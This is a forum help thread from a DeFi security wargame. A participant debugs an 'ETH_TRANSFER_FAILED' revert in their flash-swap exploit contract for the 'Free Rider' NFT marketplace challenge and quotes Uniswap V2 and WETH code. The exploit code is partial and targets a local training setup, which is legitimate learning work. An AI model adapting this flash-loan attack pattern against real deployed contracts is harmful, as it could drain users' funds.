ETH_TRANSFER_FAILED error in Free Rider challenge #31
-
I am trying to solve free rider challenge and encountered a weird thing. I have found a way to solve the challenge but this is what happening. Error: VM Exception while processing transaction: reverted with reason string 'ETH_TRANSFER_FAILED'
at WETH.safeTransferETH (solmate/src/utils/SafeTransferLib.sol:23)
at WETH.withdraw (solmate/src/tokens/WETH.sol:29)
at AttackFreeRider.uniswapV2Call (contracts/free-rider/Attack.sol:138)
at <UnrecognizedContract>.<unknown> (0x5d70af5e2015d0f76892f8a100d176423420b7db)
at AttackFreeRider.attack (contracts/free-rider/Attack.sol:118)
at processTicksAndRejections (node:internal/process/task_queues:96:5)
at runNextTicks (node:internal/process/task_queues:65:3)
at listOnTimeout (node:internal/timers:528:9)
at processTimers (node:internal/timers:502:7)
at HardhatNode._mineBlockWithPendingTxs (node_modules\hardhat\src\internal\hardhat-network\provider\node.ts:1815:23)
at HardhatNode.mineBlock (node_modules\hardhat\src\internal\hardhat-network\provider\node.ts:504:16)
at EthModule._sendTransactionAndReturnHash (node_modules\hardhat\src\internal\hardhat-network\provider\modules\eth.ts:1522:18) I checked the withdraw function of weth contract and I am not able to find any problem there. The only way we could get the error I think is when we don't have enough weth. So to check that I am emitting this event emit Log(
sender,
IWETH(weth).balanceOf(address(this)),
address(this).balance,
data,
msg.sender,
weth.balance
); and i get back this result which looks fine to me. [
'0x8464135c8F25Da09e49BC8782676a84730C318bC',
BigNumber { value: "15000000000000000000" },
BigNumber { value: "50000000000000000" },
'0x000000000000000000000000000000000000000000000000d02ab486cedc0000',
'0x5D70Af5E2015D0F76892F8a100D176423420B7db',
BigNumber { value: "9000000000000000000000" }
] This is my the function that will exploit the contract function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) public {
emit Log(
sender,
IWETH(weth).balanceOf(address(this)),
address(this).balance,
data,
msg.sender,
weth.balance
);
IWETH(weth).withdraw(IWETH(weth).balanceOf(address(this)));
uint256[] memory tokenIds;
for (uint256 i = 0; i < 6; i++) {
tokenIds[i] = i;
}
IFreeRiderNFTMarketplace(payable(marketpalce)).buyMany(tokenIds);
for (uint256 i = 0; i < 6; i++) {
tokenIds[i] = i;
DamnValuableNFT(nftAddress).safeTransferFrom(
address(this),
msg.sender,
i
);
}
IWETH(weth).deposit{value: address(this).balance}();
uint256 fee = ((amount0 * 3) / 997) + 1;
uint256 amountToRepay = amount0 + fee;
IERC20(weth).transfer(msg.sender, amountToRepay);
emit Log(
sender,
IWETH(weth).balanceOf(address(this)),
address(this).balance,
data,
msg.sender,
amount0
);
} I have tried everything but nothing worked. function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
} withdraw function function withdraw(uint256 amount) public virtual {
_burn(msg.sender, amount);
emit Withdrawal(msg.sender, amount);
msg.sender.safeTransferETH(amount);
} safeTransferETH function function safeTransferETH(address to, uint256 amount) internal {
bool success;
assembly {
// Transfer the ETH and store if it succeeded or not.
success := call(gas(), to, amount, 0, 0, 0, 0)
}
require(success, "ETH_TRANSFER_FAILED");
} This is the only thing that is not letting me complete the challenge. [Challenge] Free Rider
undefined
[
'0x8464135c8F25Da09e49BC8782676a84730C318bC',
BigNumber { value: "15000000000000000000" },
BigNumber { value: "50000000000000000" },
'0x000000000000000000000000000000000000000000000000d02ab486cedc0000',
'0x5D70Af5E2015D0F76892F8a100D176423420B7db',
BigNumber { value: "9000000000000000000000" }
]
undefined
undefined
undefined
[
'0x8464135c8F25Da09e49BC8782676a84730C318bC',
BigNumber { value: "4864593781344032" },
BigNumber { value: "0" },
'0x000000000000000000000000000000000000000000000000d02ab486cedc0000',
'0x5D70Af5E2015D0F76892F8a100D176423420B7db',
BigNumber { value: "15000000000000000000" }
]
undefined
undefined Only getting result for my events. |
Beta Was this translation helpful? Give feedback.
Replies: 1 comment 3 replies
-
Ok the issue has been resolved. I finally found the bug. |
Beta Was this translation helpful? Give feedback.
Ok the issue has been resolved. I finally found the bug.